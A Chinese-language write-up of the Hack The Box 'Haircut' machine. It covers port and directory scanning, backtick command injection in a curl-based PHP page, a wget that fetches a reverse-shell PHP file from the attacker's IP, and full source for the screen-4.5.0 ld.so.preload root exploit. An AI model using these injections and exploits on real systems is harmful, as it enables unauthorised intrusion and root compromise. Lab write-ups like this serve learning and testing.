免责声明

本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。

探测

开放端口

┌──(root㉿ss)-[~/htb/Haircut]
└─# nmap -p- --open --min-rate=1000 10.10.10.24 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 04:12 EDT
Nmap scan report for 10.10.10.24
Host is up (0.0056s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 5.99 seconds

详细信息

┌──(root㉿ss)-[~/htb/Haircut]
└─# nmap -sV -Pn -A -O 10.10.10.24 -p 22,80          
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 04:13 EDT
Nmap scan report for 10.10.10.24
Host is up (0.0090s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
|_http-server-header: nginx/1.10.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT     ADDRESS
1   7.76 ms 10.10.16.1
2   3.67 ms 10.10.10.24

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.90 seconds

web

目录爆破

┌──(root㉿ss)-[~/htb/Haircut]
└─# python3 /root/dirsearch/dirsearch.py -e* -u http://10.10.10.24 -t 100

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492

Output File: /root/dirsearch/reports/10.10.10.24/_22-05-30_04-17-25.txt

Error Log: /root/dirsearch/logs/errors-22-05-30_04-17-25.log

Target: http://10.10.10.24/

[04:17:25] Starting: 
[04:17:25] 400 -  182B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd            
[04:18:51] 400 -  182B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd     
[04:19:27] 200 -  144B  - /index.html                                       
[04:20:57] 200 -  223B  - /test.html                                        
[04:21:11] 301 -  194B  - /uploads  ->  http://10.10.10.24/uploads/         
[04:21:11] 403 -  580B  - /uploads/   

静态文件，没有太有价值的东西

爆破扩展名

主机是linux机器，运行着nginx，那么我们可以假定靶机运行了php程序

┌──(root㉿ss)-[~/htb/Haircut]
└─# gobuster dir -t 100  --no-error --url http://10.10.10.24 -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt -x ph
p,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.24
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2022/05/30 04:50:37 Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 194] [--> http://10.10.10.24/uploads/]
/exposed.php          (Status: 200) [Size: 446]                                  
                                                                                 
===============================================================
2022/05/30 04:56:34 Finished
===============================================================

爆破出来一个exposed.php文件

url打开这个文件，页面要求输入一个url地址，我们首先怀疑存在RFI

本地python开启一个web服务器，exposed.php访问

http://10.10.16.4/any

本地显示：

┌──(root💀kali)-[~/htb/Haircut]
└─# python3 -m http.server 80            
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.24 - - [30/May/2022 04:53:34] code 404, message File not found
10.10.10.24 - - [30/May/2022 04:53:34] "GET /any HTTP/1.1" 404 -

证明可以访问我们本地的文件

但是使用php文件会直接显示代码不会被解释成php代码执行

我们看执行的信息

 % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
 48  5488   48  2686    0     0   1867      0  0:00:02  0:00:01  0:00:01  1866

这里像是用curl命令把url里的文件下载到了本地

比如我们本地kali执行

┌──(root💀kali)-[~/htb/Haircut]
└─# curl -v http://10.10.10.24/bounce.jpg --output bounce.jpg                                                  23 ⨯
*   Trying 10.10.10.24:80...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 10.10.10.24 (10.10.10.24) port 80 (#0)
> GET /bounce.jpg HTTP/1.1
> Host: 10.10.10.24
> User-Agent: curl/7.83.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Mon, 30 May 2022 09:14:48 GMT
< Content-Type: image/jpeg
< Content-Length: 116637
< Last-Modified: Mon, 15 May 2017 08:58:51 GMT
< Connection: keep-alive
< ETag: "59196dcb-1c79d"
< Accept-Ranges: bytes
< 
{ [3776 bytes data]
100  113k  100  113k    0     0   6776      0  0:00:17  0:00:17 --:--:--  6095
* Connection #0 to host 10.10.10.24 left intact

我们假设靶机会把我们输入的url当做命令交给curl执行，那么可以考虑命令注入

注入的位置为：

curl -v [这里是输入的url地址] [这里是注入命令的地方] --output bounce.jpg

经过测试，使用反引号可以注入我们的命令

http://localhost/test.html`ping -c 4 10.10.16.4`

kali开启tcpdump可以监听到靶机传过来的ICMP包

┌──(root💀kali)-[~/htb/Haircut]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
05:20:54.878346 IP 10.10.10.24 > 10.10.16.4: ICMP echo request, id 4072, seq 1, length 64
05:20:54.878372 IP 10.10.16.4 > 10.10.10.24: ICMP echo reply, id 4072, seq 1, length 64
05:20:55.175226 IP 10.10.10.24 > 10.10.16.4: ICMP echo request, id 4072, seq 2, length 64
05:20:55.175254 IP 10.10.16.4 > 10.10.10.24: ICMP echo reply, id 4072, seq 2, length 64
05:20:56.594721 IP 10.10.10.24 > 10.10.16.4: ICMP echo request, id 4072, seq 3, length 64
05:20:56.594746 IP 10.10.16.4 > 10.10.10.24: ICMP echo reply, id 4072, seq 3, length 64
05:20:57.593064 IP 10.10.10.24 > 10.10.16.4: ICMP echo request, id 4072, seq 4, length 64
05:20:57.593092 IP 10.10.16.4 > 10.10.10.24: ICMP echo reply, id 4072, seq 4, length 64

因为注入有很多过滤，我们使用下面命令把rev.php下载到uploads文件夹

http://localhost/test.html`wget http://10.10.16.4/rev.php -O ./uploads/rev.php`

访问下面url触发

http://10.10.10.24/uploads/rev.php

拿到foothold

┌──(root💀kali)-[~/htb/Haircut]
└─# nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.24] 32900
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 11:53:38 up  1:42,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data

拿到user.txt

www-data@haircut:/home/maria$ ls
ls
Desktop    Downloads  Pictures  Templates  user.txt
Documents  Music      Public    Videos
www-data@haircut:/home/maria$ cat user.txt
cat user.txt
f5e0270d5d9d0295...

提权

找到一个mysql连接密码

www-data@haircut:/home/maria/.tasks$ cat task1
cat task1
#!/usr/bin/php
<?php
$mysql_id = mysql_connect('127.0.0.1', 'root', 'passIsNotThis');
mysql_select_db('taskmanager', $mysql_id);


?>
www-data@haircut:/home/maria/.tasks$ 

但是连上去没有taskmanager这个数据库，密码也不能复用到ssh，可能只是一个兔子洞

exposed.php
看见有一个黑名单过滤

www-data@haircut:~/html$ cat exposed.php
cat exposed.php
<html>
        <head>
                <title>Hairdresser checker</title>
        </head>
        <body>
        <form action='exposed.php' method='POST'>
                <span>
                <p>
                Enter the Hairdresser's location you would like to check. Example: http://localhost/test.html
                </p>
                </span>
                <input type='text' name='formurl' id='formurl' width='50' value='http://localhost/test.html'/>
                <input type='submit' name='submit' value='Go' id='submit' />
        </form>
        <span>
                <?php 
                        if(isset($_POST['formurl'])){
                        echo "<p>Requesting Site...</p>"; 
                        $userurl=$_POST['formurl'];
                        $naughtyurl=0;
                        $disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
                        foreach($disallowed as $naughty){
                                if(strpos($userurl,$naughty) !==false){
                                        echo $naughty.' is not a good thing to put in a URL';
                                        $naughtyurl=1;
                                }
                        }
                        if($naughtyurl==0){
                                echo shell_exec("curl ".$userurl." 2>&1"); 
                        }
                        }
                ?>
        </span>
        </body>
</html>

查看SUID

www-data@haircut:/tmp$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ntfs-3g
/bin/ping6
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/screen-4.5.0
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1

screen-4.5.0貌似可以拿来提权，见这里

但是上面的脚本直接执行会报错

我们可以分成三部分

libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

在kali编译成.so文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c

rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

在kali编译成可执行文件

gcc -o rootshell rootshell.c

poc.sh

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
/usr/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

把libhax.so，rootshell，poc.sh三个文件传到靶机的tmp目录

执行，提权到root

www-data@haircut:/tmp$ ls
ls
libhax.so
poc.sh
rootshell
systemd-private-9257595cc1ff4885b15f9cc55b73616c-systemd-timesyncd.service-S6mY02
vmware-root
www-data@haircut:/tmp$ chmod +x poc.sh
chmod +x poc.sh
www-data@haircut:/tmp$ chmod +x rootshell
chmod +x rootshell
www-data@haircut:/tmp$ ./poc.sh
./poc.sh
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
2927b9c3....